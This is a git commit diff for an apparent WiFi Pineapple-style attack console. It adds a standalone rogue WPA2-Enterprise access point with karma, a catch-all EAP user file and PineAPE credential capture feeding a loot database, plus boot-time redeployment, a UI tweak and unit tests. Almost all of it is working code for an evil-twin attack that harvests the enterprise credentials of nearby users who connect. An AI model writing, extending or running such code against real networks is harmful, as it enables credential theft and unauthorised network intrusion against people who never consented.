feat: standalone PineAPE enterprise engine on phy1
The stock daemon's enterprise config generation is broken on this firmware (it hardcodes eap_server_erp=1, which hostapd rejects), so the enterprise attack now runs its own karma+PineAPE hostapd instance on wlan1ent/phy1: iw-created iface, EAP config with catch-all user file, pineape+auth capture enabled via ctrl, mgmtiface registered in pineapd UCI so captured creds flow into recon.db (hostap_basic/hostap_chalresp). Boot-recovery redeploys a live attack after a Mark VIII restart.
This commit is contained in:
@@ -2556,7 +2556,6 @@ def h_pineap_wifi_get_ap(ctx):
|
||||
wpa_cfg = _uci_wifi_iface('wlan0wpa')
|
||||
r1_open_cfg = _uci_wifi_iface('wlan1open')
|
||||
r1_wpa_cfg = _uci_wifi_iface('wlan1wpa')
|
||||
ent_cfg = _uci_wifi_iface('wlan0ent')
|
||||
status, data = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
|
||||
host = data if status == 200 and isinstance(data, dict) else {}
|
||||
status2, data2 = daemon_sock_call('GET', '/api/pineap/get_config')
|
||||
@@ -2568,20 +2567,19 @@ def h_pineap_wifi_get_ap(ctx):
|
||||
_last_reconcile = time.time()
|
||||
device_run(['wifi', 'reload'])
|
||||
break
|
||||
ent = _ap_iface_dict(ent_cfg, radio0_cfg)
|
||||
return 200, {
|
||||
'open': _ap_iface_dict(open_cfg, radio0_cfg, pool),
|
||||
'wpa': _ap_iface_dict(wpa_cfg, radio0_cfg),
|
||||
'radio1_open': _ap_iface_dict(r1_open_cfg, radio1_cfg),
|
||||
'radio1_wpa': _ap_iface_dict(r1_wpa_cfg, radio1_cfg),
|
||||
'enterprise': {
|
||||
'enabled': ent.get('enabled', False),
|
||||
'ssid': ent.get('ssid', ''),
|
||||
'enctype': ent.get('enctype') or 'wpa2',
|
||||
'passphrase': ent.get('passphrase', ''),
|
||||
'hidden': ent.get('hidden', False),
|
||||
'channel': ent.get('channel'),
|
||||
'live': _iface_live('wlan0ent'),
|
||||
'enabled': _ent_summary()['enabled'],
|
||||
'ssid': _ent_summary()['ssid'],
|
||||
'enctype': _ent_summary()['enctype'],
|
||||
'passphrase': '',
|
||||
'hidden': False,
|
||||
'channel': _ent_summary()['channel'],
|
||||
'live': _ent_summary()['live'],
|
||||
},
|
||||
'pool': {'disabled': None, 'collecting': bool(pinecfg.get('autossidpool'))},
|
||||
'radios': {
|
||||
@@ -2789,6 +2787,16 @@ ATTACK_IFACES = {
|
||||
'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'},
|
||||
}
|
||||
|
||||
# Standalone PineAPE enterprise AP (phy1). The stock daemon's enterprise
|
||||
# config generation is broken on this firmware, so Mark VIII runs its own
|
||||
# karma+PineAPE hostapd instance for the enterprise attack.
|
||||
ENT_IFACE = 'wlan1ent'
|
||||
ENT_CTRL_DIR = '/var/run/hostapd-mk8'
|
||||
ENT_CONF = '/root/loot/enterprise.conf'
|
||||
ENT_PIDFILE = '/var/run/hostapd-mk8.pid'
|
||||
ENT_EAP_USERS = '/root/loot/eap_users'
|
||||
ENT_STATE = '/root/loot/mk8_enterprise.json'
|
||||
|
||||
|
||||
def _band_of_channel(channel):
|
||||
band = channel_band(channel)
|
||||
@@ -2896,11 +2904,50 @@ def _deploy_wpa_open(kind, fields):
|
||||
|
||||
|
||||
def _disable_enterprise_ap():
|
||||
cfg = _uci_wifi_iface('wlan0ent')
|
||||
if cfg:
|
||||
device_run(['uci', 'delete', 'wireless.wlan0ent'])
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
device_run(['wifi', 'reload'])
|
||||
"""Tear down the standalone PineAPE enterprise AP (wlan1ent on phy1)."""
|
||||
try:
|
||||
with open(ENT_PIDFILE) as f:
|
||||
pid = int(f.read().strip())
|
||||
if os.path.exists('/proc/%d' % pid):
|
||||
device_run(['kill', str(pid)], timeout=10)
|
||||
except (OSError, ValueError):
|
||||
pass
|
||||
device_run(['iw', 'dev', ENT_IFACE, 'del'], timeout=10)
|
||||
for p in (ENT_PIDFILE, ENT_STATE):
|
||||
try:
|
||||
os.unlink(p)
|
||||
except OSError:
|
||||
pass
|
||||
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
if rc == 0 and out.strip() == ENT_IFACE:
|
||||
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
device_run(['/etc/init.d/pineapd', 'reload'])
|
||||
if not _radio1_ap_active():
|
||||
_resume_hop()
|
||||
|
||||
|
||||
def _ent_running():
|
||||
try:
|
||||
with open(ENT_PIDFILE) as f:
|
||||
pid = int(f.read().strip())
|
||||
return os.path.exists('/proc/%d' % pid)
|
||||
except (OSError, ValueError):
|
||||
return False
|
||||
|
||||
|
||||
def _ent_ctrl(cmd, timeout=10):
|
||||
rc, out, err = device_run(['hostapd_cli', '-p', ENT_CTRL_DIR, '-i', ENT_IFACE, cmd],
|
||||
timeout=timeout)
|
||||
return (rc, out or '')
|
||||
|
||||
|
||||
def _ent_state_loaded():
|
||||
try:
|
||||
with open(ENT_STATE) as f:
|
||||
return json.load(f)
|
||||
except (OSError, ValueError):
|
||||
return {}
|
||||
|
||||
|
||||
def _deploy_enterprise(fields):
|
||||
@@ -2910,6 +2957,13 @@ def _deploy_enterprise(fields):
|
||||
enctype = fields.get('enctype') or 'wpa2'
|
||||
if enctype not in ('wpa2', 'wpa3'):
|
||||
raise ValueError('enterprise encryption must be wpa2 or wpa3')
|
||||
ch = fields.get('channel')
|
||||
if ch is not None:
|
||||
band = channel_band(ch)
|
||||
if band != BAND_5G:
|
||||
raise ValueError('enterprise AP runs on 5 GHz (36-177)')
|
||||
else:
|
||||
ch = 36
|
||||
# Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first.
|
||||
for name in ('wlan0wpa', 'wlan0open'):
|
||||
cfg = _uci_wifi_iface(name)
|
||||
@@ -2917,42 +2971,105 @@ def _deploy_enterprise(fields):
|
||||
_set_uci('%s.disabled' % name, '1')
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
device_run(['wifi', 'reload'])
|
||||
_set_uci('wlan0ent', 'wifi-iface')
|
||||
_set_uci('wlan0ent.device', 'radio0')
|
||||
_set_uci('wlan0ent.ifname', 'wlan0ent')
|
||||
_set_uci('wlan0ent.mode', 'ap')
|
||||
_set_uci('wlan0ent.disabled', '0')
|
||||
_set_uci('wlan0ent.ssid', ssid)
|
||||
_set_uci('wlan0ent.hidden', '%d' % (1 if fields.get('hidden') else 0))
|
||||
_set_uci('wlan0ent.encryption', enctype)
|
||||
_set_uci('wlan0ent.key', fields.get('passphrase') or '')
|
||||
ch = fields.get('channel')
|
||||
if ch is not None:
|
||||
_set_uci('wlan0ent.channel', '%d' % int(ch))
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap',
|
||||
body={'configs': [{
|
||||
'interface': 'wlan0ent',
|
||||
'ssid': ssid,
|
||||
'enctype': enctype,
|
||||
'enabled': True,
|
||||
'hidden': bool(fields.get('hidden')),
|
||||
'key': fields.get('passphrase') or '',
|
||||
'channel': int(ch) if ch is not None else 1,
|
||||
}]}, timeout=45)
|
||||
if status != 200:
|
||||
raise RuntimeError('daemon rejected enterprise AP: %r' % (data,))
|
||||
_enable_attack_engine()
|
||||
_allow_all_ssids()
|
||||
# PineAPE credential harvesting on.
|
||||
daemon_sock_call('PUT', '/api/pineap/hostapd/set_config', {
|
||||
'pineape_disabled': False,
|
||||
'pineape_auth_pass': True,
|
||||
})
|
||||
verified = _verify_iface('wlan0ent')
|
||||
return {'kind': 'enterprise', 'ssid': ssid, 'iface': 'wlan0ent',
|
||||
'band': BAND_2G, 'channel': int(ch) if ch is not None else 1,
|
||||
'verified': verified}
|
||||
_disable_enterprise_ap()
|
||||
# The stock daemon's enterprise config generation is broken on this
|
||||
# firmware (emits eap_server_erp, which hostapd rejects), so the
|
||||
# enterprise AP runs on its own karma+PineAPE hostapd instance on phy1,
|
||||
# outside the daemon's interface set. Credentials still flow into
|
||||
# recon.db (hostap_basic / hostap_chalresp) via the pineapd socket.
|
||||
rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add',
|
||||
ENT_IFACE, 'type', 'managed'], timeout=15)
|
||||
if rc != 0:
|
||||
raise RuntimeError('could not create %s on phy1: %s' % (ENT_IFACE, (err or out).strip()))
|
||||
device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap'])
|
||||
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
|
||||
try:
|
||||
with open(ENT_EAP_USERS, 'w') as f:
|
||||
f.write('"*"\tPAP\t""\n')
|
||||
with open(ENT_CONF, 'w') as f:
|
||||
f.write(
|
||||
'interface=%s\n'
|
||||
'driver=nl80211\n'
|
||||
'ssid=%s\n'
|
||||
'hw_mode=a\n'
|
||||
'channel=%d\n'
|
||||
'country_code=US\n'
|
||||
'ieee80211d=1\n'
|
||||
'ieee80211n=1\n'
|
||||
'ht_capab=[SHORT-GI-20][SHORT-GI-40]\n'
|
||||
'beacon_int=100\n'
|
||||
'auth_algs=1\n'
|
||||
'ieee8021x=1\n'
|
||||
'eap_server=1\n'
|
||||
'eap_user_file=%s\n'
|
||||
'wpa=2\n'
|
||||
'wpa_key_mgmt=WPA-EAP\n'
|
||||
'wpa_pairwise=CCMP\n'
|
||||
'wpa_disable_eapol_key_retries=0\n'
|
||||
'ctrl_interface=%s\n' % (ENT_IFACE, ssid, int(ch), ENT_EAP_USERS, ENT_CTRL_DIR))
|
||||
except OSError as exc:
|
||||
raise RuntimeError('could not write enterprise config: %s' % exc)
|
||||
# Tell the karma build which iface is the management (enterprise) AP.
|
||||
device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
_pause_hop()
|
||||
rc, out, err = device_run(['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF],
|
||||
timeout=20)
|
||||
verified = _ent_running()
|
||||
if not verified:
|
||||
_disable_enterprise_ap()
|
||||
raise RuntimeError('hostapd failed to start for enterprise AP: %s' % (err or out)[-300:])
|
||||
deadline = time.time() + 20
|
||||
while time.time() < deadline:
|
||||
rc, out = _ent_ctrl('status')
|
||||
if 'state=ENABLED' in out:
|
||||
break
|
||||
time.sleep(2)
|
||||
verified = 'state=ENABLED' in (_ent_ctrl('status')[1] or '')
|
||||
_ent_ctrl('pineap_enable')
|
||||
_ent_ctrl('pineape_enable')
|
||||
_ent_ctrl('pineape_auth_enable')
|
||||
try:
|
||||
with open(ENT_STATE, 'w') as f:
|
||||
json.dump({'ssid': ssid, 'enctype': enctype, 'hidden': bool(fields.get('hidden')),
|
||||
'channel': int(ch), 'started': int(time.time())}, f)
|
||||
except OSError:
|
||||
pass
|
||||
return {'kind': 'enterprise', 'ssid': ssid, 'iface': ENT_IFACE,
|
||||
'band': BAND_5G, 'channel': int(ch), 'verified': verified}
|
||||
|
||||
|
||||
def _ent_summary():
|
||||
st = _ent_state_loaded()
|
||||
running = _ent_running()
|
||||
live = False
|
||||
if running:
|
||||
rc, out = _ent_ctrl('status')
|
||||
live = 'state=ENABLED' in (out or '')
|
||||
return {
|
||||
'enabled': running,
|
||||
'live': live,
|
||||
'ssid': st.get('ssid') or '',
|
||||
'enctype': st.get('enctype') or 'wpa2',
|
||||
'band': BAND_5G,
|
||||
'channel': st.get('channel', 36),
|
||||
'iface': ENT_IFACE,
|
||||
'started': st.get('started'),
|
||||
}
|
||||
|
||||
|
||||
def _enterprise_boot_recover():
|
||||
"""Re-deploy the enterprise AP after a Mark VIII restart."""
|
||||
st = _ent_state_loaded()
|
||||
if not st.get('ssid'):
|
||||
return
|
||||
try:
|
||||
_deploy_enterprise(st)
|
||||
except RuntimeError as exc:
|
||||
try:
|
||||
os.unlink(ENT_STATE)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def h_attacks_deploy(ctx):
|
||||
@@ -3011,7 +3128,7 @@ def h_attacks_status(ctx):
|
||||
'radio1': _uci_ap_summary('wlan1open', 'radio1'),
|
||||
},
|
||||
'enterprise': {
|
||||
'ap': _uci_ap_summary('wlan0ent', 'radio0'),
|
||||
'ap': _ent_summary(),
|
||||
'pineape': {'enabled': not bool(
|
||||
(daemon_sock_call('GET', '/api/pineap/hostapd/get_config')[1] or {})
|
||||
.get('pineape_disabled', True))},
|
||||
@@ -3044,9 +3161,9 @@ def h_attacks_stop(ctx):
|
||||
_set_uci('%s.disabled' % name, '1')
|
||||
stopped.append(name)
|
||||
elif kind == 'enterprise':
|
||||
if _uci_wifi_iface('wlan0ent'):
|
||||
if _ent_running() or os.path.exists(ENT_STATE):
|
||||
_disable_enterprise_ap()
|
||||
stopped.append('wlan0ent')
|
||||
stopped.append(ENT_IFACE)
|
||||
else:
|
||||
return 400, {'error': 'kind must be wpa, open or enterprise'}
|
||||
if stopped:
|
||||
@@ -4421,6 +4538,7 @@ def serve():
|
||||
threading.Thread(target=live_loop, daemon=True).start()
|
||||
threading.Thread(target=_recon_watchdog_loop, daemon=True).start()
|
||||
start_health_monitor()
|
||||
_enterprise_boot_recover()
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.bind((HOST, PORT))
|
||||
|
||||
@@ -1523,7 +1523,7 @@ views.attacks_enterprise = (root) => {
|
||||
status.append('Attack', attackBadge(ap));
|
||||
status.append('SSID', h('span', { text: ap && ap.ssid ? ap.ssid : '—' }));
|
||||
status.append('Interface', h('span', { text: ap ? ap.iface : '—' }));
|
||||
status.append('Band', h('span', { text: '2.4 GHz' }));
|
||||
status.append('Band', h('span', { text: ap && ap.band ? ap.band + ' GHz' : '5 GHz' }));
|
||||
status.append('Channel', h('span', { text: ap && ap.channel != null ? ap.channel : '—' }));
|
||||
status.append('Credentials', h('span', { text: String(ent.creds || 0) }));
|
||||
pApeBody.innerHTML = '';
|
||||
|
||||
+45
-12
@@ -43,6 +43,8 @@ class FakeUciDevice:
|
||||
sec = a[2]
|
||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
|
||||
if k == sec or k.startswith(sec + '.')), '')
|
||||
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
|
||||
return (0, 'state=ENABLED\nssid[0]=test\n', '')
|
||||
return (0, '', '')
|
||||
|
||||
def uci_iface(self, name):
|
||||
@@ -76,9 +78,23 @@ class AttacksDeployTest(unittest.TestCase):
|
||||
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
|
||||
self.old_state = server.PINEAP_STATE_FILE
|
||||
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
|
||||
self.old_ent = {k: getattr(server, k) for k in
|
||||
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
|
||||
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
|
||||
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
|
||||
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
|
||||
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
|
||||
self.old_ent_running = server._ent_running
|
||||
self.old_ent_state = server._ent_state_loaded
|
||||
server._ent_running = lambda: True
|
||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||
|
||||
def tearDown(self):
|
||||
server.PINEAP_STATE_FILE = self.old_state
|
||||
server._ent_running = self.old_ent_running
|
||||
server._ent_state_loaded = self.old_ent_state
|
||||
for k, v in self.old_ent.items():
|
||||
setattr(server, k, v)
|
||||
shutil.rmtree(self.tmp)
|
||||
|
||||
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
|
||||
@@ -99,11 +115,11 @@ class AttacksDeployTest(unittest.TestCase):
|
||||
self.assertEqual(len(engines), 2)
|
||||
|
||||
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
|
||||
self.f.state['wireless.wlan0ent.disabled'] = '0'
|
||||
server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||
self.assertNotIn('wireless.wlan0ent.disabled', self.f.state)
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||
|
||||
def test_deploy_wpa_5g_writes_radio1(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
@@ -127,19 +143,36 @@ class AttacksDeployTest(unittest.TestCase):
|
||||
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
|
||||
|
||||
def test_deploy_enterprise_builds_wlan0ent(self):
|
||||
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
|
||||
'enctype': 'wpa2', 'hidden': False, 'channel': 1}))
|
||||
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['iface'], 'wlan0ent')
|
||||
self.assertEqual(self.f.state['wireless.wlan0ent.encryption'], 'wpa2')
|
||||
self.assertEqual(self.f.state['wireless.wlan0ent.ssid'], 'CorpAP')
|
||||
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0ent')
|
||||
self.assertEqual(cfg['configs'][0]['enctype'], 'wpa2')
|
||||
pineape = [s for s in self.f.sock if s[1] == '/api/pineap/hostapd/set_config'][0]
|
||||
self.assertEqual(pineape[2], {'pineape_disabled': False, 'pineape_auth_pass': True})
|
||||
self.assertEqual(payload['iface'], 'wlan1ent')
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
|
||||
'type', 'managed'], cmds)
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
|
||||
self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
|
||||
server.ENT_CONF], cmds)
|
||||
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||
|
||||
def test_deploy_enterprise_rejects_non_5g_channel(self):
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
|
||||
'channel': 6}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_stop_enterprise_tears_down_engine(self):
|
||||
server._ent_running = lambda: True
|
||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn('wlan1ent', payload['stopped'])
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||
|
||||
def test_deploy_validation(self):
|
||||
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
|
||||
|
||||
Reference in New Issue
Block a user